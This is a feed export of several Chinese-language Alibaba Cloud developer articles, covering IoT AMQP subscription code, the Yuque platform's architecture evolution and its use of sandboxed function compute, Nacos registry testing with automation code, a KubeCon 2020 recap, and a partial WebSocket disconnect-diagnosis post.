            logger.info("onConnectionEstablished, remoteUri:{}", remoteURI);
        }
    
        /**
         * 尝试过最大重试次数之后,最终连接失败。
         */
        @Override
        public void onConnectionFailure(Throwable error) {
            logger.error("onConnectionFailure, {}", error.getMessage());
        }
    
        /**
          * 连接中断。
          */
        @Override
        public void onConnectionInterrupted(URI remoteURI) {
            logger.info("onConnectionInterrupted, remoteUri:{}", remoteURI);
        }
    
        /**
         * 连接中断后又自动重连上。
         */
        @Override
        public void onConnectionRestored(URI remoteURI) {
            logger.info("onConnectionRestored, remoteUri:{}", remoteURI);
        }
    
        @Override
        public void onInboundMessage(JmsInboundMessageDispatch envelope) {}
    
        @Override
        public void onSessionClosed(Session session, Throwable cause) {}
    
        @Override
        public void onConsumerClosed(MessageConsumer consumer, Throwable cause) {}
    
        @Override
        public void onProducerClosed(MessageProducer producer, Throwable cause) {}
    };
    
    /**
     * 计算签名,password组装方法,请参见AMQP客户端接入说明文档。
     */
    private static String doSign(String toSignString, String secret, String signMethod) throws Exception {
        SecretKeySpec signingKey = new SecretKeySpec(secret.getBytes(), signMethod);
        Mac mac = Mac.getInstance(signMethod);
        mac.init(signingKey);
        byte[] rawHmac = mac.doFinal(toSignString.getBytes());
        return Base64.encodeBase64String(rawHmac);
    }

    日志打印出订阅到的流转消息如下,符合预期。
    image.png

    重点说明
    下行控制如果为异步服务,需要通过订阅数据流转获取设备返回结果。订阅Topic为"/sys/{productKey}/{deviceName}/thing/downlink/reply/message",需要根据"requestId"关联请求和响应。

    关联介绍:“3.1 服务端调用API开发”中“重点说明”。

    image.png

    3.2.2 规则引擎数据订阅。

    配置SQL
    SQL介绍文档这里
    image.png

    调试SQL
    Payload数据格式文档这里
    image.png

    可以查看“调试结果”。

    test

    符合配置的SQL结果。

    转发数据
    可以转发到客户以下多种云产品中,本文选择AMQP作为示例验证。
    image.png

    image.png
    创建完成后,需要到规则列表页“启动”改规则。

    订阅数据
    服务端订阅代码可以复用上面“3.1”服务端订阅代码。差别就是服务端订阅,订阅的是Topic对应的完整Payload;而规则引擎流转AMQP,在消息流转过程可以对Payload做一些规则过滤或简单计算。
    以下日志精简报文是通过规则引擎过滤后获取的数据。
    image.png
    说明:同一组数据不要同时开通规则引擎和服务端订阅两种订阅模式,避免消息干扰。

    4 设备运行时

    设备量产之后,到达消费者手上,会开始激活上线进入到设备运行时。由于不属于开发态流程,本章节仅做简单介绍,目的是能让开发者知道开发态的配置在运行态如何产生作用,对设备接上阿里云IoT平台后的流程有个简单的认识。

    image.png

    本文通过物模型接入流程,介绍了平台设备连接、物模型规范校验、物模型数据、规则引擎、服务端订阅、开放API六大基础能力。
    设备全生命周期过程中,还有不少设备管理能力供客户选择,其中包括设备标签、设备分组、设备检索、OTA、设备运维、设备分发、文件上传、远程配置等,欢迎使用。

    4.1 连接

    设备连接过程,云端会对设备进行身份认证。

    4.2 物模型规范校验

    由于目前物模型配置仅提供强校验模式,物模型规范校验主要对设备上报的报文进行Alink协议解析、物模型数据规范校验。平台后续会陆续开放弱校验、免校验、数据去重能力。

    关联阅读:1.3 物模型配置

    4.3 设备管理能力

    4.3.1 设备标签
    介绍文档:https://help.aliyun.com/document_detail/73733.html
    4.3.2 设备分组
    介绍文档:https://help.aliyun.com/document_detail/90386.html
    4.3.3 OTA
    介绍文档:https://help.aliyun.com/document_detail/85700.html
    4.3.4 设备分发
    介绍文档:https://help.aliyun.com/document_detail/143450.html

    ]]>
    语雀的技术架构演进之路 Fri, 02 May 2025 09:39:03 +0800

    作者 | 不四

    每个技术人心中或多或少都有一个「产品梦」,好的技术需要搭配好的产品,才能让用户爱不释手,尤其是做一款知识服务型产品。

    作者何翊宇(花名:不四,微信:dead_horse)是蚂蚁金服体验技术部高级前端技术专家,语雀产品技术负责人。本文从技术架构的视角,回顾了语雀的原型、内部服务和对外商业化的全过程,并对函数计算在语雀架构演进过程中所扮演的角色做了详细的介绍。

    语雀是一个专业的云端知识库,用于团队的文档协作。现在已是阿里员工进行文档编写和知识沉淀的标配,并于 2018 年开始对外提供服务。

    原型阶段

    回到故事的开始。

    2016 年,语雀孵化自蚂蚁科技,当时,蚂蚁金融云需要一个工具来承载它的文档,负责的技术同学利用业余时间,搭建了这个文档工具。项目的初期,没有任何人员和资源支持,同时也是为了快速验证原型,技术选型上选择了最低成本的方案。

    底层服务完全基于体验技术部内部提供的 BaaS 服务和容器托管平台:

    • Object 服务:一个类 MongoDB 的数据存储服务;
    • File 服务:阿里云 OSS 的基础上封装的一个文件存储服务;
    • DockerLab:一个容器托管平台;

    image.png
    这些服务和平台都是基于 Node.js 实现的,专门给内部创新型应用使用,也正是由于有这些降低创新成本的内部服务,才给工程师们提供了更好的创新环境。

    语雀的应用层服务端,自然而然的选用了蚂蚁体验技术部开源的 Node.js Web 框架 Egg(蚂蚁内部的封装 Chair),通过一个单体 Web 应用实现服务端。应用层客户端也选用了 React 技术栈,结合内部的 antd,并采用 CodeMirror 实现了一个功能强大、体验优雅的 markdown 在线编辑器。

    当时仅仅是一个工程师的业余项目,采用内部专为创新应用提供的 BaaS 服务和一系列的开源技术,验证了在线文档工具这个产品原型。

    内部服务阶段

    2017年,随着语雀得到团队内部的认可,他的目标已经不仅仅是金融云的文档工具,而是成为阿里所有员工的知识管理平台。不仅面向技术人员 Markdown 编辑器,还向非技术知识创作者,提供了富文本编辑器,并选择了更“Web”的路线,在富文本编辑器中加入了公式、文本绘图、思维导图等特色功能。而随着语雀在知识管理领域的不断探索,知识管理的三层结构(团队、知识库、文档)开始成型。

    在此之上的协作、分享、搜索与消息动态等功能越来越复杂单纯的依靠 BaaS 服务已经无法满足语雀的业务需求了。

    为了应对业务发展带来的挑战,我们主要从下面几个点进行改造:

    • BaaS 服务虽然使用简单成本低,但是它们提供的功能不足以满足语雀业务的发展,同时稳定性上也有不足。所以我们将底层服务由 BaaS 替换成了阿里云的 IaaS 服务(MySQL、OSS、缓存、搜索等服务)。
    • Web 层仍然采用了 Node.js 与 Egg 框架,但是业务层借鉴 rails 社区的实践开始变成了一个大型单体应用,通过引入 ORM 构建数据模型层,让代码的分层更清晰。
    • 前端编辑器从 codeMirror 迁移到 Slate。为了更好的实现语雀编辑器的功能,我们内部 fork 了 Slate 进行深入开发,同时也自定义了一个独立的内容存储格式,以提供更高效的数据处理和更好的兼容性。

    image.png
    在内部服务阶段,语雀已经成为了一个正式的产品,通过在阿里内部的磨炼,语雀的产品形态基本定型。

    对外商业化阶段

    随着语雀在内部的影响力越来越大,一些离职出去创业的阿里校友们开始找到玉伯(蚂蚁体验技术部研究员):“语雀挺好用的,有没有考虑商业化之后让外面的公司也能够用起来?”

    经过小半年的酝酿和重构,2018 年初,语雀开始正式对外提供服务,进行商业化。

    当一个应用走出公司内到商业化环境中,面临的技术挑战一下子就变大了。最核心的知识创作管理部分的功能越来越复杂,表格、思维导图等新格式的加入,多人实时协同的需求对编辑器技术提出了更高的挑战。而为了更好的服务企业用户与个人用户,语雀在企业服务、会员服务等方面也投入了很大精力。在业务快速发展的同时,服务商业化对质量、安全和稳定性也提出了更高的要求。

    为了应对业务发展,语雀的架构也随之发生了演进:

    我们将底层的依赖完全上云,全部迁移到了阿里云上,阿里云不仅仅提供了基础的存储、计算能力,同时也提供了更丰富的高级服务,同时在稳定性上也有保障。

    • 丰富的云计算基础服务,保障语雀的服务端可以选用最适合语雀业务的的存储、队列、搜索引擎等基础服务;
    • 更多人工智能服务给语雀的产品带来了更多的可能性,包括 OCR 识图、智能翻译等服务,最终都直接转化成为了语雀的特色服务;

    而在应用层,语雀的服务端依然还是以一个基于 Egg 框架的大型的 Node.js Web 应用为主。但是随着功能越来越多,也开始将一些相对比较独立的服务从主服务中拆出去,可以把这些服务分成几类:

    • 微服务类:例如多人实时协同服务,由于它相对独立,且长连接服务不适合频繁发布,所以我们将其拆成了一个独立的微服务,保持其稳定性。
    • 任务服务类:像语雀提供的大量本地文件预览服务,会产生一些任务比较消耗资源、依赖复杂。我们将其从主服务中剥离,可以避免不可控的依赖和资源消耗对主服务造成影响。
    • 函数计算类:类似 Plantuml 预览、Mermaid 预览等任务,对响应时间的敏感度不高,且依赖可以打包到阿里云函数计算中,我们会将其放到函数计算中运行,既省钱又安全。

    随着编辑器越来越复杂,在 slate 的基础上进行开发遇到的问题越来越多。最终语雀还是走上了自研编辑器的道路,基于浏览器的 Contenteditable 实现了富文本编辑器,通过 Canvas 实现了表格编辑器,通过 SVG 实现了思维导图编辑器。
    image.png
    语雀的这个阶段(也是现在所处的阶段)是商业化阶段,但是我们仍然保持了一个很小的团队,通过 JavaScript 全栈进行研发。底层的服务全面上云,借力云服务打造语雀的特色功能。同时为企业级用户和个人知识工作者者提供知识创作和管理工具。

    和函数计算的不解之缘

    语雀是一个复杂的 Web 应用,也是一个典型的数据密集型应用(Data-Intensive Application),背后依赖了大量的数据库等云服务。语雀服务端是 Node.js 技术栈。当提到 node 的时候,可能立刻就会有几个词浮现在我们脑海之中:单线程(single-threaded)、非阻塞(non-blocking)、异步(asynchronously programming),这些特性一方面非常的适合于构建可扩展的网络应用,用来实现 Web 服务这类 I/O 密集型的应用,另一方面它也是大家一直对 node 诟病的地方,对 CPU 密集型的场景不够友好,一旦有任何阻塞进程的方法被执行,整个进程就被阻塞。

    像语雀这样用 node 实现整个服务端逻辑的应用,很难保证不会出现一些场景可能会消耗大量 CPU 甚至是死循环阻塞进程的,例如以 markdown 转换举例,由于用户的输入无法穷举,总有各种可能让转换代码进入到一个低效甚至是死循环的场景之中。在 node 刚出世的年代,很难给这些问题找到完美的解决办法,而即便是 Java 等基于线程并发模型的语言,在遇到这样的场景也很头痛,毕竟 CPU 对于 web 应用来说都是非常重要的资源。而随着基础设置越来越完善,当函数计算出现时,node 最大的短板看起来有了一个比较完美的解决方案。

    阿里云函数计算是事件驱动的全托管计算服务。通过函数计算,您无需管理服务器等基础设施,只需编写代码并上传,只需要为代码实际运行所消耗的资源付费,代码未运行则不产生费用。

    把函数计算引入之后,我们可以将那些 CPU 密集型、存在不稳定因素的操作统统放到函数计算服务中去执行,而我们的主服务再次回归到了 I/O 密集型应用模型,又可以愉快的享受 node 给我们带来的高效研发福利了!

    以语雀中遇到的一个实际场景来举例,用户传入了一些 HTML 或者 Markdown 格式的文档内容,我们需要将其转换成为语雀自己的文档格式。在绝大部分情况下,解析用户输入的内容都很快,然而依然存在某些无法预料到的场景会触发解析器的 bug 而导致死循环的出现,甚至我们不太敢升级 Markdown 解析库和相关插件以免引入更多的问题。但是随着函数计算的引入,我们将这个消耗 CPU 的转换逻辑放到函数计算上,语雀的主服务稳定性不会再被影响。
    image.png

    除了帮助 Web 系统分担一些 CPU 密集型操作以外,函数计算还能做什么呢?

    在语雀上我们支持各种代码形式来绘图,包括 Plantuml、公式、Mermaid,还有一些将文档导出成 PDF、图片等功能。这些场景有两个特点:

    • 他们依赖于一些复杂的应用软件,例如 Puppeteer、Graphviz 等;
    • 可能需要执行用户输入的内容;

    支持这类场景看似简单,通过 process.exec 子进程调用一下就搞定了。但是当我们想把它做成一个稳定的对外服务时,问题就出现了。这些复杂的应用软件可能从设计上并没有考虑要长期运行,长期运行时的内存占用、稳定性可能会有一些问题,同时在被大并发调用时,对 CPU 的压力非常大。再加上有些场景需要运行用户输入的代码,攻击者通过构建恶意输入,可以在服务器上运行攻击代码,非常危险。

    在没有引入函数计算之前,语雀为了支持这些功能,尽管单独分配了一个任务集群,在上面运行这些三方服务,接受主服务的请求来避免影响主服务的稳定性。但是为了解决上面提到的一系列问题还需要付出很大的成本:

    • 需要维持一个不小的任务集群,尽管可能大部分时间都用不上那么多资源。
    • 需要定时对三方应用软件进行重启,避免长时间运行带来的内存泄露,即便如此有些特殊请求也会造成第三方软件的不稳定。
    • 对用户的输入进行检测和过滤,防止黑客恶意攻击,而黑客的攻击代码很难完全防住,安全风险依旧很大。

    image.png
    最后语雀将所有的第三方服务都分别打包在函数中,将这个任务集群上的功能都拆分成了一系列的函数放到了函数计算上。通过函数计算的特点一下解决了上面的所有问题:

    • 函数计算的计费模式是按照代码实际运行的 CPU 时间计费,不需要长期维护一个任务集群了。
    • 函数计算上的函数运行时尽管会有一些常驻函数的优化,但是基本不用考虑长期运行带来的一系列问题,且每次调用之间都相互独立,不会互相影响。
    • 用户的输入代码是运行在一个沙箱容器中,即便不对用户输入做任何过滤,恶意攻击者也拿不到任何敏感信息,同时也无法进入内部网络执行代码,更加安全。

    image.png

    除了上面提到的这些功能之外,语雀最近还使用 OSS + 函数计算替换了之前使用的阿里云视频点播服务来进行视频和音频的转码。

    由于浏览器可以直接支持播放的音视频格式并不多,大量用户上传的视频想要能够直接在语雀上进行播放需要对它们进行转码,业界一般都是通过 FFmpeg 来对音视频进行转码的。转码服务也是一个典型的 CPU 密集型场景,如果要自己搭建视频转码集群会面临大量的资源浪费,而使用阿里云视频点播服务,成本也比较高,而且能够控制的东西也不够多。函数计算直接集成了 FFmpeg 提供音视频处理能力,并集成到应用中心,配合 SLS 完善了监控和数据分析。语雀将音视频处理从视频点播服务迁移到函数计算之后,通过优化压缩率、减少不必要的转码等优化,将费用降低至之前的 1/5。
    image.png
    从语雀的实践来看,语雀并没有像 SFF 一样将 Web 服务迁移到函数计算之上(SFF 模式并不是现在的函数计算架构所擅长的),但是函数计算在语雀整体的架构中对稳定性、安全性和成本控制起到了非常重要的作用。总结下来函数计算非常适合下面几种场景:

    • 对于时效性要求不算非常高的 CPU 密集型操作,分担主服务 CPU 压力。
    • 当做沙箱环境执行用户提交的代码。
    • 运行不稳定的三方应用软件服务。
    • 需要很强动态伸缩能力的服务。

    在引入函数计算之后,语雀现阶段的架构变成了以一个 Monolith Application 为核心,并将一些独立的功能模块根据使用场景和对能力的要求分别拆分成了 Microservices 和 Serverless 架构。应用架构与团队成员组成、业务形态息息相关,但是随着各种云服务与基础设施的完善,我们可以更自如的选择更合适的架构。
    image.png
    为什么要特别把 Serverless 单独拿出来说呢?还记得之前说 Node.js 是单线程,不适合 CPU 密集型任务么?

    由于 Serverless 的出现,我们可以将这些存在安全风险的,消耗大量 CPU 计算的任务都迁移到函数计算上。它运行在沙箱环境中,不用担心用户的恶意代码造成安全风险,同时将这些 CPU 密集型的任务从主服务中剥离,避免出现并发时阻塞主服务。按需付费的方式也可以大大节约成本,不需要为低频功能场景部署一个常驻服务。所以我们会尽量的把这类服务都迁移到 Serverless 上(如阿里云函数计算)。

    结语 | 语雀的技术栈选择

    语雀这几年一步步发展过来,背后的技术一直在演进,但是始终遵循了几条原则:

    • 技术栈选型要匹配产品发展阶段。产品在不同的阶段对技术提出的要求是不一样的,越前期,对迭代效率的要求越高,商业化规模化之后,对稳定性、性能的要求就会变高。不需要一上来就用最先进的技术方案,而是需要和产品阶段一起考虑和权衡。
    • 技术栈选型要结合团队成员的技术背景。语雀选择 JavaScript 全栈的原因是孵化语雀的团队,大部分都是 JavaScript 背景的程序员,同时 Node.js 在蚂蚁也算是一等公民,配套的设施相对完善。
    • 最重要的一点是,不论选择什么技术栈,安全、稳定、可维护(扩展)都是要考虑清楚的。用什么语言、用什么服务会变化,但是这些基础的安全意识、稳定性意识,如何编写可维护的代码,都是决定项目能否长期发展下去的重要因素。

    image.png
    关注「Alibaba F2E」
    把握阿里巴巴前端新动向

    ]]>
    掌门教育微服务体系Solar第3弹:Nacos企业级落地下篇 Fri, 02 May 2025 09:39:03 +0800 1.png

    联席作者:谢璐 谢庆芳 伊安娜 任浩军
    郑重鸣谢:Nacos - 彦林,Spring Cloud Alibaba - 小马哥、洛夜,Nacos 社区 - 张龙(pader)、春少(chuntaojun)

    相关文章推荐:

    前言

    在高速发展的时候,公司规模越来越大,老师人数越来越多,这时候公司不能铺太多人去做运营与服务,必须提高每个人效,这就需要技术驱动。因此掌门教育转变成一家技术驱动型的公司,如果被迫成为一家靠资金驱动的公司就活不下去了。

    -- 张翼(掌门教育创始人兼CEO)

    掌门教育自2014年正式转型在线教育以来,秉承“让教育共享智能,让学习高效快乐”的宗旨和愿景,经历云计算、大数据、人工智能、 AR / VR / MR 以及现今最火的 5G ,一直坚持用科技赋能教育。掌门教育的业务近几年得到了快速发展,特别是今年的疫情,使在线教育成为了新的风口,也给掌门教育新的机遇。

    随着业务规模进一步扩大,流量进一步暴增,微服务数目进一步增长,使老的微服务体系所采用的注册中心 Eureka 不堪重负,同时 Spring Cloud 体系已经演进到第二代,第一代的 Eureka 注册中心已经不大适合现在的业务逻辑和规模,同时它目前被 Spring Cloud 官方置于维护模式,将不再向前发展。如何选择一个更为优秀和适用的注册中心,这个课题就摆在了掌门人的面前。经过对 Alibaba NacosHashiCorp Consul等开源注册中心做了深入的调研和比较,最终选定 Alibaba Nacos 做微服务体系 Solar 中的新注册中心。

    背景故事

    基础架构部选择新的注册中心,测试组需要配合对业界成熟的注册中心产品做分析和比较。由于掌门教育采用的是比较纯净的 Spring Cloud 技术栈,所以我们需要围绕它的注册中心,从测试角度,进行功能和性能上研究。

    Spring Cloud 技术栈官方支持 Netflix EurekaHashiCorp ConsulZookeeper 三个注册中心,它们可以相互间实现无缝迁移,Alibaba Nacos 是新加盟 Spring Cloud 技术栈的新成员。测试组的同学们对上述四个注册中心做了一一研究和分析,鉴于时间紧迫,除了 EurekaNacos 之外,其它两个中间件未做深入的功能测试和性能测试。下面提供来自阿里巴巴 Nacos 官方某次业界宣讲的资料截图以供大家参考:

    • Eureka 介绍

    2.png

    • Zookeeper 介绍

    3.png

    • Consul 介绍

    4.png

    • 上述三个注册中心比较

    5.png

    本文将围绕 Alibaba Nacos 着重针对其功能测试和性能测试两方面进行剖析和介绍。

    Nacos 测试篇

    Nacos 性能测试

    ① Nacos Server 性能测试

    开发部署了 UATNacos ,测试亲自压测。

    • 核心脚本
    def registry(ip):
        fo = open("service_name.txt", "r")
        str = fo.read()
        service_name_list = str.split(";")
        service_name = service_name_list[random.randint(0,len(service_name_list) - 1)]
        fo.close()
        client = nacos.NacosClient(nacos_host, namespace='')
        print(client.add_naming_instance(service_name,ip,333,"default",1.0,{'preserved.ip.delete.timeout':86400000},True,True))
        while True:
          print(client.send_heartbeat(service_name,ip,333,"default",1.0,"{}"))
          time.sleep(5)
    • 压测数据

    表格 1.jpg

    • 压测结果图

    6.png

    7.png

    Nacos Server 是3台 1C4G 集群,同时承受1499个服务和12715个实例注册,而且 CPU 和内存长期保持在一个合适的范围内,果真 Nacos 性能是相当 OK 的。

    Nacos 功能测试

    ① Nacos Server 接口测试

    表格2.jpg

    更多更详 API 请参见 Nacos 官方文档: Open API 指南

    https://nacos.io/zh-cn/docs/open-api.html

    ② Nacos Eureka Sync 测试

    • 交叉注册

    网关,服务 A ,服务 B 各10台实例,网关注册 EurekaA 注册 NacosB 注册 Eureka ,同步正常,可调用。

    • 压力测试

    请求大于100万次,查看 Sync Server 会不会受到影响,结果 ErrorRequest = 0,同步服务数和实例数没有变化。

    8.png

    • 有无损调用

    网关 Sync Server 挂掉,网关服务 Eureka 同步 Nacos 失败,不影响网关 -> A -> B 调用。

    • 自动创建同步

    发布系统第一次发布应用到 Eureka / Nacos ,会自动创建 Eureka -> Nacos 的同步任务或 Nacos -> Eureka 的同步任务

    9.png

    • 减少 Sync Server

    Sync Server 4C8G ,停止机器,逐台递减,结论:平均1台 4C8G 机器最大可同步100个服务。

    • 增加 Sync Server

    2台 Etcd 节点,停机一台,Etcd 读取超时,结论:600个服务至少2台 Etcd 节点,这里重点强调,新增服务时, Hash 算法虚拟节点数,务必和原有的保持一致,不然会出现同步失败,影响跨注册中心调用。

    10.png

    • 重启 Sync Server

    增加 Sync Server 个数,重启 Sync Server ,各节点同步数重新计算且均衡。

    ③ Nacos Client 功能测试

    Nacos Client 界面重点测试集群管理,服务列表和权限控制。

    • Nacos Server 重启后,集群管理界面正常展示3台集群节点 IP
    • 服务注册 Nacos Server 后,服务列表新增注册上去的服务名和实例个数,而且可查看详情。

    11.png

    • 服务上下线操作,健康状态和元数据等展示正常。
    • 编辑,删除等操作只有具备 Admin 权限的人员才可操作。

    ④ Nacos Client 自动化测试

    • 自动化测试链路

    全链路测试路径

    API网关 -> 服务A(两个实例) -> 服务B(两个实例)

    12.png

    全链路服务部署

    表格3.jpg

    • 自动化测试入口

    结合 Spring Boot JunitTestApplication.class 为测试框架内置应用启动程序, MyTestConfiguration 用于初始化所有测试用例类。在测试方法上面加入 JUnit@Test注解

    @RunWith(SpringRunner.class)
    @SpringBootTest(classes = { TestApplication.class, MyTestConfiguration.class }, webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
    public class MyTest {
        @Autowired
        private MyTestCases myTestCases;
    
        private static long startTime;
    
        @BeforeClass
        public static void beforeTest() {
            startTime = System.currentTimeMillis();
        }
    
        @AfterClass
        public static void afterTest() {
            LOG.info("* Finished automation test in {} seconds", (System.currentTimeMillis() - startTime) / 1000);
        }
    
        @Test
        public void testNoGray() throws Exception {
            myTestCases.testNoGray(gatewayTestUrl);
            myTestCases.testNoGray(zuulTestUrl);
        }
    
        @Test
        public void testVersionStrategyGray() throws Exception {
            myTestCases.testVersionStrategyGray1(gatewayGroup, gatewayServiceId, gatewayTestUrl);
            myTestCases.testVersionStrategyGray1(zuulGroup, zuulServiceId, zuulTestUrl);
        }
    }
    @Configuration
    public class MyTestConfiguration {
        @Bean
        public MyTestCases myTestCases() {
            return new MyTestCases();
        }
    }
    • 基于 Nacos Client 的普通调用自动化测试

    在测试方法上面增加注解 @DTest ,通过断言 Assert 来判断测试结果。注解 @DTest 内容如下:

    @Target({ ElementType.METHOD, ElementType.TYPE })
    @Retention(RetentionPolicy.RUNTIME)
    @Inherited
    @Documented
    public @interface DTest {
    
    }

    代码如下:

    public class MyTestCases {
        @Autowired
        private TestRestTemplate testRestTemplate;
    
        @DTest
        public void testNoGray(String testUrl) {
            int noRepeatCount = 0;
            List<String> resultList = new ArrayList<String>();
            for (int i = 0; i < 4; i++) {
                String result = testRestTemplate.getForEntity(testUrl, String.class).getBody();
    
                LOG.info("Result{} : {}", i + 1, result);
    
                if (!resultList.contains(result)) {
                    noRepeatCount++;
                }
                resultList.add(result);
            }
    
            Assert.assertEquals(noRepeatCount, 4);
        }
    }
    • 基于 Nacos Client 的灰度蓝绿调用自动化测试

    在测试方法上面增加注解 @DTestConfig ,通过断言 Assert 来判断测试结果。注解 DTestConfig 注解内容如下:

    @Target({ ElementType.METHOD, ElementType.TYPE })
    @Retention(RetentionPolicy.RUNTIME)
    @Inherited
    @Documented
    public @interface DTestConfig {
        // 组名
        String group();
    
        // 服务名
        String serviceId();
    
        // 组名-服务名组合键值的前缀
        String prefix() default StringUtils.EMPTY;
    
        // 组名-服务名组合键值的后缀
        String suffix() default StringUtils.EMPTY;
    
        // 执行配置的文件路径。测试用例运行前,会把该文件里的内容推送到远程配置中心或者服务
        String executePath();
    
        // 重置配置的文件路径。测试用例运行后,会把该文件里的内容推送到远程配置中心或者服务。该文件内容是最初的默认配置
        // 如果该注解属性为空,则直接删除从配置中心删除组名-服务名组合键值
        String resetPath() default StringUtils.EMPTY;
    }

    代码如下:

    public class MyTestCases {
        @Autowired
        private TestRestTemplate testRestTemplate;
    
        @DTestConfig(group = "#group", serviceId = "#serviceId", executePath = "gray-strategy-version.xml", resetPath = "gray-default.xml")
        public void testVersionStrategyGray(String group, String serviceId, String testUrl) {
            for (int i = 0; i < 4; i++) {
                String result = testRestTemplate.getForEntity(testUrl, String.class).getBody();
    
                LOG.info("Result{} : {}", i + 1, result);
    
                int index = result.indexOf("[V=1.0]");
                int lastIndex = result.lastIndexOf("[V=1.0]");
    
                Assert.assertNotEquals(index, -1);
                Assert.assertNotEquals(lastIndex, -1);
                Assert.assertNotEquals(index, lastIndex);
            }
        }
    }

    初始默认无灰度蓝绿的配置文件 gray-default.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <rule>
    
    </rule>

    灰度蓝绿生效的配置文件 gray-strategy-version.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <rule>
        <strategy>
            <version>1.0</version>
        </strategy>
    </rule>
    • 基于 Nacos Client 的自动化测试报告样例
    ---------- Run automation testcase :: testStrategyCustomizationGray() ----------
    Header : [a:"1", b:"2"]
    Result1 : zuul -> solar-service-a[192.168.0.107:3002][V=1.1][R=qa][G=solar-group] -> solar-service-b[192.168.0.107:4002][V=1.1][R=dev][G=solar-group]
    Result2 : zuul -> solar-service-a[192.168.0.107:3002][V=1.1][R=qa][G=solar-group] -> solar-service-b[192.168.0.107:4002][V=1.1][R=dev][G=solar-group]
    Result3 : zuul -> solar-service-a[192.168.0.107:3002][V=1.1][R=qa][G=solar-group] -> solar-service-b[192.168.0.107:4002][V=1.1][R=dev][G=solar-group]
    Result4 : zuul -> solar-service-a[192.168.0.107:3002][V=1.1][R=qa][G=solar-group] -> solar-service-b[192.168.0.107:4002][V=1.1][R=dev][G=solar-group]
    * Passed
    ---------- Run automation testcase :: testVersionRuleGray() ----------
    Result1 : zuul -> solar-service-a[192.168.0.107:3002][V=1.1][R=qa][G=solar-group] -> solar-service-b[192.168.0.107:4002][V=1.1][R=dev][G=solar-group]
    Result2 : zuul -> solar-service-a[192.168.0.107:3001][V=1.0][R=dev][G=solar-group] -> solar-service-b[192.168.0.107:4001][V=1.0][R=qa][G=solar-group]
    Result3 : zuul -> solar-service-a[192.168.0.107:3002][V=1.1][R=qa][G=solar-group] -> solar-service-b[192.168.0.107:4002][V=1.1][R=dev][G=solar-group]
    Result4 : zuul -> solar-service-a[192.168.0.107:3001][V=1.0][R=dev][G=solar-group] -> solar-service-b[192.168.0.107:4001][V=1.0][R=qa][G=solar-group]
    * Passed

    Nacos 测试总结

    Nacos 不仅性能好,而且界面简洁,这样的注册中心你值得拥有。

    作者介绍

    • 吴毅挺,掌门技术副总裁,负责技术中台和少儿技术团队。曾就职于百度、eBay 、携程,曾任携程高级研发总监,负责从零打造携程私有云、容器云、桌面云和 PaaS 平台。
    • 任浩军,掌门基础架构部负责人。曾就职于平安银行、万达、惠普,曾负责平安银行平台架构部 PaaS 平台 Halo 基础服务框架研发。10 多年开源经历,Github ID:@HaojunRen,Nepxion 开源社区创始人,Nacos Group Member,Spring Cloud Alibaba & Nacos & Sentinel & OpenTracing Committer。

    参与 Nacos 落地的基础架构部成员,包括:

    • 童子龙,张彬彬,廖梦鸽,张金星,胡振建,谢璐,谢庆芳,伊安娜

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    一图看懂阿里云 @KubeCon 2020(含 PPT 下载) Fri, 02 May 2025 09:39:03 +0800 头图.png

    近日,首届 CNCF 与全球开源志愿者发起的 KubeCon 2020 线上峰会已圆满落幕,吸引了来自 30+ 个国家 5800+ 参会者观看。作为云原生领域最受开发者欢迎的平台,阿里云以 27 场演讲位列话题丰富度第一位,并于会上详解了阿里云 ACK Pro、ASM、ACR EE、ACK@Edge 等四款企业级容器新品,分享了对云原生创新基础设施和云原生操作系统进化的思考。

    <关注公众号,回复 “KubeCon” 即可下载 PPT>

    活动谢幕,你是否学有所获呢?

    不要担心,下文将带你回顾 KubeCon 2020 峰会上阿里云的全部干货亮点!

    【首日亮点全解读】

    1.jpeg

    【次日亮点全解读】

    2.jpeg

    【一图看懂阿里云要点精彩】

    3.png

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    查看Socket断开原因及加入心跳机制防止自动断开连接 Fri, 02 May 2025 09:39:03 +0800 【转载请注明出处】:https://blog.csdn.net/huahao1989/article/details/107804286

    一般情况下,前端页面连接WebSocket服务的时候都是通过Nginx等负载均衡,然后由Nginx去代理连接后端的socket服务。Nginx的配置类似如下:

    map $http_upgrade $connection_upgrade {
        default upgrade;
        '' close;
    }
    location / {
        proxy_pass https://socket;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
             
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;
    }

    如果建立连接之后不做一些措施,那么可能会有各种各样的原因会导致socket断开,最好在socket断开时将错误打印出来。

    ws.onclose = function (ev) {
      console.log('socket 断开: ' + ev.code + ' ' + ev.reason + ' ' + ev.wasClean)
    }

    socket断开时,会触发CloseEvent, CloseEvent会在连接关闭时发送给使用 WebSocket 的客户端,它在 WebSocket 对象的 onclose 事件监听器中使用。 CloseEvent有三个字段需要注意, 通过分析这三个字段,一般就可以找到断开原因:

    • CloseEvent.code: code是错误码,是整数类型
    • CloseEvent.reason: reason是断开原因,是字符串
    • CloseEvent.wasClean: wasClean表示是否正常断开,是布尔值。一般异常断开时,该值为false
    状态码 名称 描述
    0–999 保留段, 未使用.
    1000 CLOSE_NORMAL 正常关闭; 无论为何目的而创建, 该链接都已成功完成任务.
    1001 CLOSE_GOING_AWAY 终端离开, 可能因为服务端错误, 也可能因为浏览器正从打开连接的页面跳转离开.
    1002 CLOSE_PROTOCOL_ERROR 由于协议错误而中断连接.
    1003 CLOSE_UNSUPPORTED 由于接收到不允许的数据类型而断开连接 (如仅接收文本数据的终端接收到了二进制数据).
    1004 保留. 其意义可能会在未来定义.
    1005 CLOSE_NO_STATUS 保留. 表示没有收到预期的状态码.
    1006 CLOSE_ABNORMAL 保留. 用于期望收到状态码时连接非正常关闭 (也就是说, 没有发送关闭帧).
    1007 Unsupported Data 由于收到了格式不符的数据而断开连接 (如文本消息中包含了非 UTF-8 数据).
    1008 Policy Violation 由于收到不符合约定的数据而断开连接. 这是一个通用状态码, 用于不适合使用 1003 和 1009 状态码的场景.
